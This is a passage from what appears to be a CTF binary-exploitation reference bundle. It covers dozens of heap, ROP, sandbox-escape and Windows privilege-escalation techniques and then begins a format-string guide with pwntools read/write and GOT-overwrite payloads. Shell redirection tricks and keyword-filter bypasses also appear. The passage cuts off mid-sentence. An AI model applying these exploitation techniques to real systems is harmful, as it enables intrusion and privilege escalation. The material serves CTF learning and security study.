Primitive](#rop-chain-construction-with-read-only-primitive)\n - [Esoteric Language GOT Overwrite](#esoteric-language-got-overwrite)\n - [Protocol Stack Bleeding](#protocol-stack-bleeding)\n - [Timing Attack Flag Recovery](#timing-attack-flag-recovery)\n - [DNS Record Buffer Overflow](#dns-record-buffer-overflow)\n - [ASAN Shadow Memory Exploitation](#asan-shadow-memory-exploitation)\n - [Format String .fini_array Loop for Multi-Stage Exploitation](#format-string-fini_array-loop-for-multi-stage-exploitation)\n - [Format String with RWX .fini_array Hijack](#format-string-with-rwx-fini_array-hijack)\n - [Custom Canary Preservation](#custom-canary-preservation)\n - [MD5 Preimage Gadget Construction](#md5-preimage-gadget-construction)\n - [Python Sandbox Escape](#python-sandbox-escape)\n - [VM GC-Triggered UAF (Slab Reuse)](#vm-gc-triggered-uaf-slab-reuse)\n - [GC Null-Reference Cascading Corruption](#gc-null-reference-cascading-corruption)\n - [OOB Read via Stride/Rate Leak](#oob-read-via-striderate-leak)\n - [SROP with UTF-8 Constraints](#srop-with-utf-8-constraints)\n - [VM Exploitation (Custom Bytecode)](#vm-exploitation-custom-bytecode)\n - [FUSE/CUSE Character Device Exploitation](#fusecuse-character-device-exploitation)\n - [Busybox/Restricted Shell Escalation](#busyboxrestricted-shell-escalation)\n - [process_vm_readv Sandbox Bypass](#process_vm_readv-sandbox-bypass)\n - [Named Pipe (mkfifo) File Size Bypass](#named-pipe-mkfifo-file-size-bypass)\n - [Shell Tricks](#shell-tricks)\n - [Double Stack Pivot to BSS via leave;ret](#double-stack-pivot-to-bss-via-leaveret)\n - [RETF Architecture Switch for Seccomp Bypass](#retf-architecture-switch-for-seccomp-bypass)\n - [Leakless Libc via Multi-fgets stdout FILE Overwrite](#leakless-libc-via-multi-fgets-stdout-file-overwrite)\n - [Signed/Unsigned Char Underflow to Heap Overflow](#signedunsigned-char-underflow-to-heap-overflow)\n - [TLS Destructor Hijack via `__call_tls_dtors`](#tls-destructor-hijack-via-__call_tls_dtors)\n - [Signed Int Overflow to Negative OOB Heap Write](#signed-int-overflow-to-negative-oob-heap-write)\n - [Custom Shadow Stack Bypass via Pointer Overflow](#custom-shadow-stack-bypass-via-pointer-overflow)\n - [Windows SEH Overwrite + VirtualAlloc ROP](#windows-seh-overwrite--virtualalloc-rop)\n - [SeDebugPrivilege to SYSTEM](#sedebugprivilege-to-system)\n - [mmap/munmap Size Mismatch UAF](#mmapmunmap-size-mismatch-uaf)\n - [strcspn Indirect Null Byte Injection](#strcspn-indirect-null-byte-injection)\n - [Windows CFG Bypass Using system() as Valid Call Target](#windows-cfg-bypass-using-system-as-valid-call-target)\n - [4-Byte Shellcode with Timing Side-Channel](#4-byte-shellcode-with-timing-side-channel)\n - [CRC Oracle as Arbitrary Read Primitive](#crc-oracle-as-arbitrary-read-primitive)\n - [UTF-8 Case Conversion Buffer Overflow](#utf-8-case-conversion-buffer-overflow)\n- [Useful Commands](#useful-commands)\n\n## Heap Exploitation\n\n- tcache poisoning (glibc 2.26+), fastbin dup / double free\n- House of Force (old glibc), unsorted bin attack\n- **House of Apple 2** (glibc 2.34+): FSOP (File Stream Oriented Programming) via `_IO_wfile_jumps` when `__free_hook`/`__malloc_hook` removed. Fake FILE with `_flags = \" sh\"`, vtable chain → `system(fp)`. For SUID binaries: use `setcontext()` variant to stack pivot → `setuid(0)` → `system()` (dash drops privs when uid != euid). See [heap-techniques.md](heap-techniques.md#setcontext-variant-for-suid-binaries-midnight-flag-2026).\n- **Classic unlink**: Corrupt adjacent chunk metadata, trigger backward consolidation for write-what-where primitive. Pre-2.26 glibc only. See [heap-techniques.md](heap-techniques.md#classic-heap-unlink-attack-crypto-cat).\n- **House of Force:** Corrupt top chunk size to `0xffffffffffffffff`, next `malloc(target - top - 2*SIZE_SZ)` returns arbitrary address. Pre-2.29 glibc only. See [heap-techniques.md](heap-techniques.md#house-of-force-csaw-ctf-2016).\n- **House of Einherjar**: Off-by-one null clears PREV_INUSE, backward consolidation with self-pointing unlink.\n- **Safe-linking** (glibc 2.32+): tcache fd mangled as `ptr ^ (chunk_addr >> 12)`.\n- Check glibc version: `strings libc.so.6 | grep GLIBC`\n- Freed chunks contain libc pointers (fd/bk) -> leak via error messages or missing null-termination\n- Heap feng shui: control alloc order/sizes, create holes, place targets adjacent to overflow source\n- **Unsafe unlink + top chunk consolidation**: After unlink writes self-pointer to BSS, craft fake BSS chunk spanning to top chunk. `free()` consolidates, relocating heap base to BSS. Subsequent mallocs return BSS memory. See [heap-techniques.md](heap-techniques.md#unsafe-unlink-to-bss--top-chunk-consolidation-seccon-2016).\n\n**House of Orange:** Corrupt top chunk size → large malloc forces sysmalloc → old top freed without calling `free()`. Chain with FSOP. See [heap-techniques.md](heap-techniques.md#house-of-orange).\n\n**House of Spirit:** Forge fake chunk in target area, `free()` it, reallocate to get write access. Requires valid size + next chunk size. See [heap-techniques.md](heap-techniques.md#house-of-spirit).\n\n**House of Lore:** Corrupt smallbin `bk` → link fake chunk → second malloc returns attacker-controlled address. See [heap-techniques.md](heap-techniques.md#house-of-lore).\n\n**ret2dlresolve:** Forge Elf64_Sym/Rela to resolve arbitrary libc function without leak. `Ret2dlresolvePayload(elf, symbol=\"system\", args=[\"/bin/sh\"])`. Requires Partial RELRO. See [advanced.md](advanced.md#ret2dlresolve).\n\n**tcache stashing unlink (glibc 2.29+):** Corrupt smallbin chunk's `bk` during tcache stashing → arbitrary address linked into tcache → write primitive. See [heap-techniques.md](heap-techniques.md#tcache-stashing-unlink-attack).\n\n**UAF vtable pointer encoding shell argument:** After UAF, heap spray places `system()` at offset +3. Object address containing `0x6873` (\"sh\") in low bytes doubles as the command string argument when `system(this)` is called through the hijacked vtable. See [heap-techniques-2.md](heap-techniques-2.md#uaf-vtable-pointer-encoding-shell-argument-bctf-2017).\n\n**Fastbin stdout vtable two-stage hijack (PIE + Full RELRO):** Use 0x7f byte in libc's stdout region as fake fastbin chunk size. Two-stage: first vtable redirect to `gets()` (rdi=stdout), then `gets()` overwrites vtable again to `system()` with command string. See [heap-techniques.md](heap-fsop.md#fastbin-stdout-vtable-two-stage-hijack-for-pie--full-relro-asis-ctf-2017).\n\nSee [heap-techniques.md](heap-techniques.md) for House of Apple 2 FSOP chain (+ setcontext SUID variant), House of Orange/Spirit/Lore/Force, tcache stashing unlink, custom allocator exploitation (nginx pools, talloc), classic unlink, musl libc heap. See [advanced.md](advanced.md) for ret2dlresolve, heap overlap via base conversion, tree data structure stack underallocation.\n\n**GF(2) Gaussian elimination for tcache poisoning:** When a deterministic XOR cipher corrupts heap metadata as a side effect, model the corruption as linear algebra over GF(2). Find a subset of cipher seeds whose combined XOR transforms tcache `fd` from current value to target address. See [advanced-exploits-4.md](advanced-exploits-4.md#gf2-gaussian-elimination-for-multi-pass-tcache-poisoning-midnight-flag-2026).\n\n## Additional Exploit Notes\n\n### talloc Pool Header Forgery\n**Pattern:** talloc (hierarchical allocator in Samba/CUPS) pool header forgery. Forge fake pool header with controlled `end`/`object_count` fields to redirect next `talloc()` to arbitrary address. Leak GOT for libc, write `__free_hook` with `system()`. See [heap-techniques.md](heap-techniques.md#talloc-pool-header-forgery-for-arbitrary-readwrite-boston-key-party-2016).\n\n### JIT Compilation Exploits\n**Pattern:** Off-by-one in instruction encoding -> misaligned machine code. Embed shellcode as operand bytes of subtraction operations, chain with 2-byte `jmp` instructions. See [advanced.md](advanced.md).\n\n**BF JIT unbalanced bracket:** Unbalanced `]` pops tape address (RWX) from stack → write shellcode to tape with `+`/`-`, trigger `]` to jump to it. See [advanced.md](advanced.md).\n\n### Type Confusion in Interpreters\n**Pattern:** Interpreter sets wrong type tag → struct fields reinterpreted. Unused padding bytes in one variant become active pointers/data in another. Flag bytes as type value trigger UNKNOWN_DATA dump. See [advanced.md](advanced.md).\n\n### Off-by-One Index / Size Corruption\n**Pattern:** Array index 0 maps to `entries[-1]`, overlapping struct metadata (size field). Corrupted size → OOB read leaks canary/libc, then OOB write places ROP chain. See [advanced.md](advanced.md).\n\n### Double win() Call\n**Pattern:** `win()` checks `if (attempts++ > 0)` — needs two calls. Stack two return addresses: `p64(win) + p64(win)`. See [advanced.md](advanced.md).\n\n### Arbitrary Read/Write to Shell via GOT Overwrite\n**Pattern:** Binary provides explicit read/write primitives. Leak libc via GOT read, overwrite `strtoll@GOT` with `system`, next call becomes `system(user_input)`. Choose GOT targets where the function takes a user-controlled string as first arg. See [advanced-exploits-3.md](advanced-exploits-3.md#arbitrary-readwrite-to-shell-via-got-overwrite-bsidessf-2026).\n\n### Stack Leak via __environ and memcpy Overflow\n**Pattern:** Binary with read-only primitive and `memcpy(stack_buf, user_addr, user_len)`. Leak libc via GOT, leak stack via `__environ`, plant ROP addresses in input buffer, overflow memcpy to copy them over return address, send EOF to trigger return. See [advanced-exploits-3.md](advanced-exploits-3.md#stack-leak-via-__environ-and-memcpy-overflow-bsidessf-2026).\n\n### JIT Sandbox Escape via uint16 Jump Truncation\n**Pattern:** JIT compiler truncates conditional jump offset to uint16, causing misalignment when code exceeds 64KB. Embed 2-byte shellcode fragments in `add` immediates, thread with `jmp $+3` to chain execution. See [advanced-exploits-3.md](advanced-exploits-3.md#jit-sandbox-escape-via-conditional-jump-uint16-truncation-bsidessf-2026).\n\n### DNS Compression Pointer Stack Overflow\n**Pattern:** Custom DNS server doesn't track decompressed name length. Compression pointer chains revisit data, overflowing stack buffer. Split ROP chain across multiple DNS question entries. See [advanced-exploits-3.md](advanced-exploits-3.md#dns-compression-pointer-stack-overflow-with-multi-question-rop-bsidessf-2026).\n\n### ELF Code Signing Bypass via Program Headers\n**Pattern:** Signing scheme hashes section headers/content but not program headers. Append shellcode, modify LOAD segment's `p_offset` to point to appended data — signature still valid, loader executes attacker code. See [advanced-exploits-3.md](advanced-exploits-3.md#elf-code-signing-bypass-via-program-header-manipulation-bsidessf-2026).\n\n### Game Level Format Signed/Unsigned Coordinate Mismatch\n**Pattern:** Level editor parses signed integer coordinates but bounds-checks via unsigned comparison — negative coordinates pass the check and write block IDs (arbitrary bytes) before the level array, enabling stack return address overwrite. Leak stack address via hidden developer mode, encode shellcode as block IDs. See [advanced-exploits-3.md](advanced-exploits-3.md#game-level-format-signedunsigned-coordinate-mismatch-bsidessf-2026).\n\n### File Descriptor Inheritance via Missing O_CLOEXEC\n**Pattern:** Service reads secret into `memfd_create()` FD without `MFD_CLOEXEC`, then calls `system()` for user commands — child inherits the FD. Bypass `strstr()` keyword filters with shell quote splitting (`p'r'oc` instead of `proc`) to read `/proc/self/fd/N`. See [advanced-exploits-3.md](advanced-exploits-3.md#file-descriptor-inheritance-via-missing-o_cloexec-bsidessf-2026).\n\n### Sign Extension Integer Underflow in Metadata Parsing\n**Pattern:** Metadata parser's `to_int32` converts unsigned values >= 0x80000000 to negative signed integers. Used as array index/offset, this causes OOB memory access. Iterate byte-by-byte to leak flag from memory. See [advanced-exploits-3.md](advanced-exploits-3.md#sign-extension-integer-underflow-in-metadata-parsing-bsidessf-2026).\n\n### ROP Chain Construction with Read-Only Primitive\n**Pattern:** Binary with only `read()` primitive — no write, no win function. Leak libc via GOT, then \"import\" arbitrary byte values onto the stack by reading from libc offsets whose content matches desired ROP gadget addresses. Read primitive doubles as write primitive. See [advanced-exploits-3.md](advanced-exploits-3.md#rop-chain-construction-with-read-only-primitive-bsidessf-2026).\n\n### Esoteric Language GOT Overwrite\n**Pattern:** Brainfuck/Pikalang interpreter with unbounded tape = arbitrary read/write relative to buffer base. Move pointer to GOT, overwrite byte-by-byte with `system()`. See [advanced.md](advanced.md).\n\n### Protocol Stack Bleeding\nCustom network protocols echoing data based on length field leak stack memory when length exceeds actual data (Heartbleed-style). See [overflow-basics.md](overflow-basics.md#protocol-length-field-stack-bleeding-ekoparty-ctf-2016).\n\n### Timing Attack Flag Recovery\nValidation time varies per correct character; measure elapsed time per candidate byte to recover flag character-by-character. See [advanced-exploits.md](advanced-exploits.md#timing-attack-for-character-by-character-flag-recovery-rc3-ctf-2016).\n\n### DNS Record Buffer Overflow\n**Pattern:** Many AAAA records overflow stack buffer in DNS response parser. Set up DNS server with excessive records, overwrite return address. See [advanced.md](advanced.md).\n\n### ASAN Shadow Memory Exploitation\n**Pattern:** Binary with AddressSanitizer has format string + OOB write. ASAN may use \"fake stack\" (50% chance). Leak PIE, detect real vs fake stack, calculate OOB write offset to overwrite return address. See [advanced.md](advanced.md).\n\n### Format String .fini_array Loop for Multi-Stage Exploitation\n**Pattern:** No GOT function called after `printf()`. Overwrite `.fini_array[0]` with `main()` for re-execution loop. Stage 1: leak libc/stack. Stage 2: `printf@GOT` to `system()`, `__stack_chk_fail@GOT` to `main()`. Stage 3: corrupt canary to trigger `__stack_chk_fail` re-entry, now `printf(input)` is `system(input)`. See [format-string.md](format-string.md#format-string-fini_array-loop-for-multi-stage-exploitation-codegate-2016).\n\n### Format String with RWX .fini_array Hijack\n**Pattern (Encodinator):** Base85-encoded input in RWX memory passed to `printf()`. Write shellcode to RWX region, overwrite `.fini_array[0]` via format string `%hn` writes. Use convergence loop for base85 argument numbering. See [advanced.md](advanced.md).\n\n### Custom Canary Preservation\n**Pattern:** Buffer overflow must preserve known canary value. Write exact canary bytes at correct offset: `b'A' * 64 + b'BIRD' + b'X'`. See [advanced.md](advanced.md).\n\n### MD5 Preimage Gadget Construction\n**Pattern (Hashchain):** Brute-force MD5 preimages with `eb 0c` prefix (jmp +12) to skip middle bytes; bytes 14-15 become 2-byte i386 instructions. Build syscall chains from gadgets like `31c0` (xor eax), `cd80` (int 0x80). See [advanced.md](advanced.md) for C code and v2 technique.\n\n### Python Sandbox Escape\nAST bypass via f-strings, audit hook bypass with `b'flag.txt'` (bytes vs str), MRO-based `__builtins__` recovery. See [sandbox-escape.md](sandbox-escape.md).\n\n### VM GC-Triggered UAF (Slab Reuse)\n**Pattern:** Custom VM with NEWBUF/SLICE/GC opcodes. Slicing creates shared slab reference; dropping+GC'ing slice frees slab while parent still holds it. Allocate function object to reuse slab, leak code pointer via UAF read, overwrite with win() address. See [advanced.md](advanced.md).\n\n### GC Null-Reference Cascading Corruption\n**Pattern:** Mark-compact GC follows null references to heap address 0, creating fake object. During compaction, memmove cascades corruption through adjacent object headers → OOB access → libc leak → FSOP. See [advanced.md](advanced.md).\n\n### OOB Read via Stride/Rate Leak\n**Pattern:** String processing function with user-controlled stride skips past null terminator, leaking stack canary and return address one byte at a time. Then overflow with leaked values. See [overflow-basics.md](overflow-basics.md).\n\n### SROP with UTF-8 Constraints\n**Pattern:** When payload must be valid UTF-8 (Rust binaries, JSON parsers), use SROP — only 3 gadgets needed. Multi-byte UTF-8 sequences spanning register field boundaries \"fix\" high bytes. See [rop-advanced.md](rop-advanced.md).\n\n### VM Exploitation (Custom Bytecode)\n**Pattern:** Custom VM with OOB read/write in syscalls. Leak PIE via XOR-encoded function pointer, overflow to rewrite pointer with `win() ^ KEY`. See [sandbox-escape.md](sandbox-escape.md).\n\n### FUSE/CUSE Character Device Exploitation\nLook for `cuse_lowlevel_main()` / `fuse_main()`, backdoor write handlers with command parsing. Exploit to `chmod /etc/passwd` then modify for root access. See [sandbox-escape.md](sandbox-escape.md).\n\n### Busybox/Restricted Shell Escalation\nFind writable paths via character devices, target `/etc/passwd` or `/etc/sudoers`, modify permissions then content. See [sandbox-escape.md](sandbox-escape.md).\n\n### process_vm_readv Sandbox Bypass\n**Pattern:** Sandbox validates file paths via `process_vm_readv()` + `realpath()`. Map memory with `PROT_READ` only at fixed address via `mmap(MAP_FIXED)` -- sandbox's `process_vm_readv` fails silently, bypassing path validation entirely. See [sandbox-escape.md](sandbox-escape.md#process_vm_readv-failure-as-sandbox-escape-0ctf-2016).\n\n### Named Pipe (mkfifo) File Size Bypass\n**Pattern:** Binary checks `stat()` file size before reading. Named pipes report `st_size = 0` but deliver arbitrary data via `read()`. `mkfifo /tmp/pipe && cat payload > /tmp/pipe &` then pass pipe to binary. Combine with `ln -s /flag arena.c` for string reuse in ROP. See [sandbox-escape.md](sandbox-escape.md#named-pipe-mkfifo-for-file-size-check-bypass-nuit-du-hack-2016).\n\n### Shell Tricks\n`exec\u003c&3;sh>&3` for fd redirection, `$0` instead of `sh`, `ls -la /proc/self/fd` to find correct fd. See [sandbox-escape.md](sandbox-escape.md).\n\n### Double Stack Pivot to BSS via leave;ret\n**Pattern:** Small overflow (only RBP + RIP). Overwrite RBP → BSS address, RIP → `leave; ret` gadget. `leave` sets RSP = RBP (BSS). Second stage at BSS calls `fgets(BSS+offset, large_size, stdin)` to load full ROP chain. See [rop-advanced.md](rop-advanced.md#double-stack-pivot-to-bss-via-leaveret-midnightflag-2026).\n\n### RETF Architecture Switch for Seccomp Bypass\n**Pattern:** Seccomp blocks 64-bit syscalls (`open`, `execve`). Use `retf` gadget to load CS=0x23 (IA-32e compatibility mode). In 32-bit mode, `int 0x80` uses different syscall numbers (open=5, read=3, write=4) not covered by the filter. Requires `mprotect` to make BSS executable for 32-bit shellcode. See [rop-advanced.md](rop-advanced.md#retf-architecture-switch-for-seccomp-bypass-midnightflag-2026).\n\n### Leakless Libc via Multi-fgets stdout FILE Overwrite\n**Pattern:** No libc leak available. Chain multiple `fgets(addr, 7, stdin)` calls via ROP to construct fake stdout FILE struct on BSS. Set `_IO_write_base` to GOT entry, call `fflush(stdout)` → leaks GOT content → libc base. The 7-byte writes avoid null byte corruption since libc pointer MSBs are already `\\x00`. See [advanced-exploits-2.md](advanced-exploits-2.md#leakless-libc-via-multi-fgets-stdout-file-overwrite-midnightflag-2026).\n\n### Signed/Unsigned Char Underflow to Heap Overflow\n**Pattern:** Size field stored as `signed char`, cast to `unsigned char` for use. `size = -112` → `(unsigned char)(-112) = 144`, overflowing a 127-byte buffer by 17 bytes. Combine with XOR keystream brute-force for byte-precise writes, forge chunk sizes for unsorted bin promotion (libc leak), FSOP stdout for TLS leak, and TLS destructor (`__call_tls_dtors`) overwrite for RCE. See [advanced-exploits-2.md](advanced-exploits-2.md#signedunsigned-char-underflow-to-heap-overflow--tls-destructor-hijack-midnightflag-2026).\n\n### TLS Destructor Hijack via `__call_tls_dtors`\n**Pattern:** Alternative to House of Apple 2 on glibc 2.34+. Forge `__tls_dtor_list` entries with pointer-guard-mangled function pointers: `encoded = rol(target ^ pointer_guard, 0x11)`. Requires leaking pointer guard from TLS segment (via FSOP stdout redirection). Each node calls `PTR_DEMANGLE(func)(obj)` on exit. See [advanced-exploits-2.md](advanced-exploits-2.md#tls-destructor-overwrite-for-rce-via-__call_tls_dtors).\n\n### Signed Int Overflow to Negative OOB Heap Write\n**Pattern (Canvas of Fear):** Index formula `y * width + x` in signed 32-bit int overflows to negative value, passing bounds check and writing backward into heap metadata. Use to corrupt adjacent chunk sizes/pointers, leak libc via unsorted bin, redirect a data pointer to `environ` for stack leak, then write ROP chain to main's return address. When binary is behind a web API, chain XSS → Fetch API → heap exploit, and inject `\\n` in API parameters for command stacking via `sendline()`. See [advanced-exploits-2.md](advanced-exploits-2.md#signed-int-overflow-to-negative-oob-heap-write--xss-to-binary-pwn-bridge-midnight-2026) for full exploit chain, XSS bridge pattern, and RGB pixel write primitive.\n\n### Custom Shadow Stack Bypass via Pointer Overflow\n**Pattern (Revenant):** Userland shadow stack in `.bss` with unbounded pointer. Recurse to advance `shadow_stack_ptr` past the array into user-controlled memory (e.g., `username` buffer), write `win()` there, then overflow the hardware stack return address to match. Both checks pass. See [advanced-exploits-2.md](advanced-exploits-2.md#custom-shadow-stack-bypass-via-pointer-overflow-midnight-2026) for full exploit and `.bss` layout analysis.\n\n### Windows SEH Overwrite + VirtualAlloc ROP\nFormat string leak defeats ASLR. SEH (Structured Exception Handler) overwrite with stack pivot to ROP chain. `pushad` builds VirtualAlloc call frame for DEP (Data Execution Prevention) bypass. Detached process launcher for shell stability on thread-based servers. See [advanced-exploits-4.md](advanced-exploits-4.md#windows-seh-overwrite--pushad-virtualalloc-rop-rainbowtwo-htb).\n\n### SeDebugPrivilege to SYSTEM\n`SeDebugPrivilege` + Meterpreter `migrate -N winlogon.exe` -> SYSTEM. See [advanced-exploits-4.md](advanced-exploits-4.md#sedebugprivilege-to-system-rainbowtwo-htb).\n\n### mmap/munmap Size Mismatch UAF\nOver-unmap via mmap(small)/munmap(large) destroys adjacent mappings. Thread stack fills gap, old buffer pointer becomes write-into-stack. Race-free UAF variant. See [advanced-exploits-4.md](advanced-exploits-4.md#mmapmunmap-size-mismatch-uaf-for-thread-stack-overlap-0ctf-2017).\n\n### strcspn Indirect Null Byte Injection\n`strcspn(buf, \"\\r\\n\")` + null write truncates strings at injected newlines. Bypasses CGI null-byte filtering for path traversal. See [advanced-exploits-4.md](advanced-exploits-4.md#strcspn-as-indirect-null-byte-injection-bsidessf-2017).\n\n### Windows CFG Bypass Using system() as Valid Call Target\n**Pattern:** Windows CFG validates indirect call targets but `system()` from msvcrt passes validation since it is a legitimate API entry point. Overwrite function pointer with `system()`, use comma instead of space in arguments to bypass input filters. See [advanced-exploits-4.md](advanced-exploits-4.md#windows-cfg-bypass-using-system-as-valid-call-target-insomnihack-2017).\n\n### 4-Byte Shellcode with Timing Side-Channel\n**Pattern:** Binary executes only 4 bytes of user shellcode in a 4096-iteration loop. Callee-saved registers (r12-r15) persist across iterations, enabling incremental state building. The 4096x loop amplifies timing differences for reliable side-channel measurement. See [advanced-exploits-3.md](advanced-exploits-3.md#4-byte-shellcode-with-timing-side-channel-via-persistent-registers-google-ctf-2017).\n\n### CRC Oracle as Arbitrary Read Primitive\n**Pattern:** CRC is bijective on single bytes. Overflow a pointer to control the CRC input address, precompute all 256 single-byte CRCs, and reverse-lookup each byte of arbitrary memory. Chain reads to leak GOT, libc, stack, and canary. See [advanced-exploits-3.md](advanced-exploits-3.md#crc-oracle-as-arbitrary-read-primitive-asis-ctf-2017).\n\n### UTF-8 Case Conversion Buffer Overflow\n**Pattern:** Unicode case conversion can expand character byte length (e.g., 2-byte UTF-8 becomes 4 bytes when uppercased). If buffer is sized for input length, the longer output overflows. Affects GLib `g_utf8_strup()`, ICU, and similar functions. See [advanced-exploits-3.md](advanced-exploits-3.md#utf-8-case-conversion-buffer-overflow-hitb-ctf-2017).\n\n## Useful Commands\n\n`checksec`, `one_gadget`, `ropper`, `ROPgadget`, `seccomp-tools dump`, `strings libc | grep GLIBC`. See [rop-advanced.md](rop-advanced.md) for full command list and pwntools template.\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":26325,"content_sha256":"7b0cda57fc8bbd242da7de1612ee71714b76f175ca361365fc3ebf13a7208406"},{"filename":"format-string.md","content":"# CTF Pwn - Format String Exploitation\n\n## Table of Contents\n- [Format String Basics](#format-string-basics)\n- [Argument Retargeting (Non-Positional %n Trick)](#argument-retargeting-non-positional-n-trick)\n- [Blind Pwn (No Binary Provided)](#blind-pwn-no-binary-provided)\n- [Format String with Filter Bypass](#format-string-with-filter-bypass)\n- [Format String Canary + PIE Leak](#format-string-canary--pie-leak)\n- [__free_hook Overwrite via Format String (glibc \u003c 2.34)](#__free_hook-overwrite-via-format-string-glibc--234)\n- [.rela.plt / .dynsym Patching](#relaplt--dynsym-patching)\n- [Format String for Game State Manipulation (UTCTF 2026)](#format-string-for-game-state-manipulation-utctf-2026)\n- [Format String Saved EBP Overwrite for .bss Pivot (PlaidCTF 2015)](#format-string-saved-ebp-overwrite-for-bss-pivot-plaidctf-2015)\n- [argv\\[0\\] Overwrite for Stack Smash Info Leak (HITCON CTF 2015)](#argv0-overwrite-for-stack-smash-info-leak-hitcon-ctf-2015)\n- [Format String .fini_array Loop for Multi-Stage Exploitation (Codegate 2016)](#format-string-fini_array-loop-for-multi-stage-exploitation-codegate-2016)\n- [__printf_chk Bypass with Sequential %p (VolgaCTF 2017)](#__printf_chk-bypass-with-sequential-p-volgactf-2017)\n- [Leak + GOT Overwrite in Single printf Call (picoCTF 2017)](#leak--got-overwrite-in-single-printf-call-picoctf-2017)\n- [Objective-C %@ Format Specifier Exploitation (SHA2017)](#objective-c--format-specifier-exploitation-sha2017)\n- [strlen Integer Truncation Bypass (ASIS CTF Finals 2017)](#strlen-integer-truncation-bypass-asis-ctf-finals-2017)\n- [printf_function_table Overwrite via Buffer Overflow (34C3 CTF 2017)](#printf_function_table-overwrite-via-buffer-overflow-34c3-ctf-2017)\n- [scanf Format String on Stack Overwrite (TUCTF 2017)](#scanf-format-string-on-stack-overwrite-tuctf-2017)\n- [Format String Exploit Through ROT13 Encoding (SunshineCTF 2018)](#format-string-exploit-through-rot13-encoding-sunshinectf-2018)\n- [Format String in HTTP User-Agent for PIE Leak (X-MAS CTF 2018)](#format-string-in-http-user-agent-for-pie-leak-x-mas-ctf-2018)\n- [Null-Byte Address Fragmentation in Small Buffers (FireShell 2019)](#null-byte-address-fragmentation-in-small-buffers-fireshell-2019)\n\n---\n\n## Format String Basics\n\n- Leak stack: `%p.%p.%p.%p.%p.%p`\n- Leak specific offset: `%7$p`\n- Write value: `%n` (4-byte), `%hn` (2-byte), `%hhn` (1-byte), `%lln` (8-byte)\n- GOT overwrite for code execution\n\n**Write size specifiers (x86-64):**\n| Specifier | Bytes Written | Use Case |\n|-----------|---------------|----------|\n| `%n` | 4 | 32-bit values |\n| `%hn` | 2 | Split writes |\n| `%hhn` | 1 | Precise byte writes |\n| `%lln` | 8 | Full 64-bit address (clears upper bytes) |\n\n**IMPORTANT:** On x86-64, GOT entries are 8 bytes. Using `%n` (4-byte) leaves upper bytes with old libc address garbage. Use `%lln` to write full 8 bytes and zero upper bits.\n\n**Arbitrary read primitive:**\n```python\ndef arb_read(addr):\n # %7$s reads string at address placed at offset 7\n payload = flat({0: b'%7$s#', 8: addr})\n io.sendline(payload)\n return io.recvuntil(b'#')[:-1]\n```\n\n**Arbitrary write primitive:**\n```python\nfrom pwn import fmtstr_payload\npayload = fmtstr_payload(offset, {target_addr: value})\n```\n\n**Manual GOT overwrite (x86-64):**\n```python\n# Format: %\u003cvalue>c%\u003coffset>$lln + padding + address\n# Address at offset 8 when format is 16 bytes\n\nwin = 0x4011f6\ntarget_got = 0x404018 # e.g., printf@GOT\n\nfmt = f'%{win}c%8$lln'.encode() # Write 'win' chars then store to offset 8\nfmt = fmt.ljust(16, b'X') # Pad to 16 bytes (2 qwords)\npayload = fmt + p64(target_got) # Address lands at offset 6 + 16/8 = 8\n\n# Note: This prints ~4MB of spaces - be patient waiting for output\n```\n\n**Offset calculation for addresses:**\n- Buffer typically starts at offset 6 (after register args)\n- If format string is padded to N bytes, addresses start at offset: `6 + N/8`\n- Example: 16-byte format → addresses at offset 8\n- Example: 32-byte format → addresses at offset 10\n- Example: 64-byte format → addresses at offset 14\n\n**Verify offset with test payload:**\n```python\n# Put known address after N-byte format, check with %\u003ccalculated_offset>$p\ntest = b'%8$p___XXXXXXXXX' # 16 bytes\npayload = test + p64(0xDEADBEEF)\n# Should print 0xdeadbeef if offset 8 is correct\n```\n\n**GOT target selection:**\n- If `exit@GOT` doesn't work, try other GOT entries\n- `printf@GOT`, `puts@GOT`, `putchar@GOT` are good alternatives\n- Target functions called AFTER the format string vulnerability\n- Check call order in disassembly to pick best target\n\n**Key insight:** Format string vulnerabilities are identified by sending `%p.%p.%p` as input -- if hex addresses appear in the output, the program passes user input directly as the format argument to `printf`/`sprintf`. This gives both arbitrary read (`%s` with a target address) and arbitrary write (`%n` family) primitives.\n\n## Argument Retargeting (Non-Positional %n Trick)\n\nUse this when you cannot embed addresses (input filtering, newline issues) but can still use `%n` and a stack pointer is available as an argument.\n\n**Key idea:** Non-positional specifiers consume arguments in order. You can overwrite a *future* argument (which is itself a pointer) before it is used, then use it as an arbitrary write target.\n\n**Why non-positional:** Positional formats (`%22$hn`) are cached up front by glibc, so changing the underlying stack slot after parsing won’t change the pointer. Non-positional `%n` avoids that cache.\n\n**Workflow (example):**\n1. Leak offsets: find a stack pointer argument you can overwrite (e.g., saved `rbp` on the stack).\n2. Advance the argument index with `%c` (each `%c` consumes one argument).\n3. Use `%n` to write a 4-byte value into that pointer slot (e.g., make arg22 point to `exit@GOT`).\n4. Print additional chars and use `%hn` to write the low 2 bytes to the now-retargeted pointer.\n\n**Pattern (conceptual):**\n```text\n%c%c%c...%c # consume args to reach pointer slot\n%\u003cbig>c%n # overwrite pointer slot to target_addr (e.g., exit@GOT)\n%\u003cdelta>c%hn # write low 2 bytes of win to that GOT entry\n```\n\n**Compute widths:**\n- After writing `target_addr` with `%n`, the printed count is `C`.\n- To write low 2 bytes `W` with `%hn`, print:\n - `delta = (W - (C % 65536)) mod 65536`\n\n**When it works well:**\n- No PIE / Partial RELRO (GOT writable)\n- You can afford large outputs (millions of chars)\n\n**Stack layout discovery (find your input offset):**\n```text\n%1$p %2$p %3$p ... %50$p\n```\n- Your input appears at some offset (commonly 6-8)\n- Canary: looks like `0x...00` (null byte at end)\n- Saved RBP: stack address pattern\n- Return address: code address (PIE or libc)\n\n## Blind Pwn (No Binary Provided)\n\nWhen no binary is given, use format strings to discover everything:\n\n**1. Confirm vulnerability:**\n```text\n> %p-%p-%p-%p\n0x563b6749100b-0x71-0xffffffff-0x7ffff9c37b80\n```\n\n**2. Discover protections by leaking stack:**\n- Find canary (offset ~39, pattern `0x...00`)\n- Find saved RBP (offset ~40, stack address)\n- Find return address (offset ~41-43, code pointer)\n\n**3. Identify PIE base:**\n- Leak return address pointing into main/binary\n- Subtract known offset to get base (may need guessing)\n\n**4. Dump GOT to identify libc:**\n```python\n# Read GOT entries for known functions\nputs_addr = arb_read(pie_base + got_puts_offset)\nstack_chk_addr = arb_read(pie_base + got_stack_chk_offset)\n```\n\n**5. Cross-reference libc database:**\n- https://libc.rip/\n- Input multiple function addresses to identify exact libc version\n\n**Key insight:** Blind pwn without a binary requires systematic discovery: leak 